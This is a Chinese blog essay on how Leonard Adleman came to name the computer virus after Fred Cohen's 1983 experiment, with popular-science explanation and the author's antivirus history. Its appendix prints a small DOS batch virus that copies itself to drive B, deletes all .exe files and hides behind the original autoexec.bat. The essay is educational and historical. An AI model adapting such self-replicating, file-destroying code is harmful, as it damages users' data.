|||
一不小心,成了计算机病毒的教父--- 我所认识的L. Adleman(4)(唐常杰)
计算机病毒何许物也?
在程序员眼中,计算机病毒是程序;对电脑用户,计算机病毒是祸害;当出现计算机故障时,计算机病毒是替罪羊;在某些不良分子手里,计算机病毒是摇钱树。
还是先讲故事,谈计算机病毒与故事主人公的渊源,然后做科普。
Fred Cohen Leonard Adleman
为计算机病毒命名。1983年,Leonard Adleman(阿德曼)的博士生,弗雷德·科恩(Fred Cohen)在他的指导下研究计算机网络安全相关的问题。这年11月3日科恩写出了可自我复制及感染能力的程序。兴奋地和阿德曼讨论。一周后,在11月10日的安全技术Seminar上,科恩展示了这个程序,此程序能在一个小时内传遍测试系统。
给这一作品取个什么名称呢?Adleman涉猎甚广,有深厚的数学、化学和分子生物学基础,也是密码技术(特别是攻击技术)的编程高手兼科幻小说迷,联想到曾经在科幻小说上看到过“Computer Virus”,在那个讨论班上给这个程序命名为计算机病毒(Computer Virus),一不小心,就这样成了(现代)计算机病毒的教父。(问什么是教父?Google答:在婴儿或幼儿受洗礼时,赐以教名,并保证承担其宗教教育的人。)。
若干年后,Adleman还解释,Computer Virus这个term 不是他生造(Coined)的,是从科幻小说里面看来的。
“史前”计算机病毒 . 1971年, BBN的Bob Thomas 写过一个名叫Creeper的电报打字机控制程序(那时没命名为Computer Virus),受控制的电报打字机会发出信息: “我是Creeper,有本事来抓我(I'm creeper, catch me if you can!)”,由于其感染机理与现代计算机病毒有点差别,所以追认为”史前机器病毒”; 博友huangfuqiang 在第4条和第12条评论以及他推荐的文献[4]中,补充了关于计算机病毒的比较完整的渊源。但正式给这类真实的程序命名为“Computer Virus”还是L. Adleman, 所以,尚未听说过争夺教父这一名誉的官司。
发表论文时的踌躇. 科学发现可以正面使用,也可被滥用。师徒俩反复讨论,怎样发表论文,发表多少,是否要把真正的代码公布,发表了是好还是坏,从技术讨论到了道德规范,….
最后认为,把这一潜在的威胁告诉公众有好处,他俩分别于1987或1990发表了两篇著名的关于计算机病毒的论文[1,2]。再后来,人们看到了下列事件:
(a) 反病毒软件成为了一个产业,计算机病毒养活了这些产业;解决了一大批高技术人才的就业问题;
( b) ABC News,报道,在沙漠风暴中,美军施放计算机病毒,攻击伊拉克。
Adleman看到这两则消息后,回顾发表论文的功过是非,叹道:” Who knows(天晓得)!”。
在那个给计算机病毒命名的Seminar进行时,笔者到南加大计算机系已10个月,年轻人们对这一发现的惊异、敬意、兴奋和热议都深深地印在脑中,播下了一颗七年后才萌发的种子。
1990年,计算机病毒在中国肆虐,我和我的同事们开发了一些反病毒软件,反病毒卡,写了一本专著《计算机反病毒技术》[3],有源程序、有理论分析、有数据库和知识库技术,由电子工业出版社出版。当然,现在回头去看这本10年前的书,肯定已年久失修,在当年可很火了一阵子,有一个月,此书被列在畅销书第二位,仅次于一本股票的书籍;还获得了1992年新闻出版署颁发的全国第六届优秀科技图书二等奖(那一年,有一个一等奖,得主是杨芙清院士;有两个二等奖)。想起来,真要感谢当年在南加大的机遇和早早埋下的种子。
计算机病毒是怎样“活”起来,传染和破坏的?
当《计算机反病毒技术》获新闻出版总署1992年全国优秀科技图书二等奖后,在领奖回程,第一次领略了首都出租车司机的健谈,师傅问,计算机怎么会怕病毒?会生霉吗?
解释1:“计算机病毒是一种包含了复制自身指令的指令”,师傅摇摇头,太绕了,什么指令的指令….,惑而未解。
解释2,一个发通知的例子,设出租车公司发了一个通知,“往下一车号传,今天下午两点钟开会”。 注意,其中有三个要点:
(a)“往下传”就是复制动作,只要执行这个指令,就会复制命令自身。
(b)“两点钟”是病毒的等待的时机;
(c) 如果把行为“开会”换成“堵车”或其他不良动作,就成了消极代码或破坏性代码。
师傅懂了,而且是从哲理的层次上理解的,可以认为是浅者见浅;专业人员立刻会联系到艰深的反病毒程序的汇编代码(遥想当年,工具不多,常用debug写),那是深者见深。如果深者和浅者都觉得自己理解了,这次科普就成功了。
如今,计算机病毒和反病毒技术已今非昔比,在民用环境中,像瘟疫和防疫的对抗;在军事上,是信息导弹和信息反导弹的对抗。造病毒者挖空心思,反病毒者殚精竭虑;双方都从技术上升到了艺术阶段,其深入而精细代码已经不太容易作科普解释了。
作为解释计算机病毒机理的实际例子,又要避免“教坏”,附录中,给出了在《计算机反病毒技术》中的一个古老的批处理病毒程序,它在DOS操作系统运行,可以把病毒从A;盘 感染到 到B:盘 。此程序像已经灭活的疫苗,仅能演示思路,没实际害处了。
关于 Leonard . Adleman的系列博文
1一位狂热科学家的工作照
2 图灵奖得主是怎样炼成的-----侧应钱学森之问
3 他凭什么得到图灵奖? (在RSA中的贡献,+RSA科普)
6 沧海横流,谁开辟了DNA计算? (DNA计算简介,科普)
附录1在《计算机反病毒技术》中的自动执行程序Autoexec.BAT,它在DOS操作系统运行,可以把病毒从A;盘 感染到 到B:盘。
计算机病毒;(Autoexec.BAT ) //从A;盘 复制 到B:盘
Echo This is a Virus program
IF exist b:autoexec.bat goto Virus
Goto No_Virus
: Virus
B:
Rename autoexec.bat auto.bat //准备冒名顶替
Copy a:autoexec.bat b: //自我复制部分
Echo I am Virus //诚实的自白
Del *.exe //实施破坏
: No_virus
A:
Auto //调用原来 autoexec.bat,给出平安无事的假象
参考文献
[1]Fred Cohen ,Computer viruses : Theory and experiments ,puters & Security Volume 6, Issue 1, February 1987, Pages 22-35
[2]Leonard M. Adleman,An Abstract Theory of Computer Viruses ,Leonard M. Adleman,Lecture Notes in Computer Science, 1990, Volume 403/1990, Advances in Cryptology — CRYPTO’ 88 ,354-374, DOI: 10.1007/0-387-34799-2_28
[3]唐常杰 ,胡军,计算机反病毒技术, 电子工业出版社,90年出版,93年修定版,.获92全国优秀科技图书二等奖.
[4] When did the term 'computer virus' arise? 来自科学美国网址,由博友huangfuqiang 推荐。
Archiver|手机版|科学网 ( 京ICP备07017567号-12 )
GMT+8, 2024-12-23 03:39
Powered by ScienceNet.cn
Copyright © 2007- 中国科学报社